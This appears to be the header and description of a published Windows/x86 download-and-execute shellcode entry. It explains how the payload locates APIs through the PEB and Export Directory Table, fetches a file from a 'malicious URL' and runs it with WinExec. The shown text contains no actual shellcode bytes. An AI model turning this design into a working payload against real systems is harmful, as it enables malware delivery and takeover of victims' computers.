458 bytes small Windows/x86 download file and execute dynamic PEB and EDT method shellcode.
bafa100245464645c12049eb732af91b; Exploit Title: Windows/x86 - Download File and Execute / Dynamic PEB & EDT method Shellcode (458 bytes)
; Exploit Author: Techryptic (@Tech)
; Date: 2022-01-31
; Tested on: WIN7X86
; Shoutout to #848 Advanced Software Exploitation and DSU.
; Description:
; The shellcode works in three parts. The first part and API call is using the Kernel32.dll and calling both CreateProcessA and LoadLibraryA function. Moving onto the next API call, it utilizes the urlmon.dll and calls the URLDownloadToFileA function. The objective of this call is to download a file from our malicious URL. Finally, the third API call is using the WinExec function to run the command, which will run the file that was downloaded.
; the PEB method to locate the baseAddress of the required module and the Export Directory Table to locate symbols.
; Also the shellcode uses a hash function to gather dynamically the required symbols without worry about the length.
; Feel free to change which file is being downloaded, and what command to run the file. For example, if set to download a .vbs script, you can use the command 'cscript shellcode.vbs'.
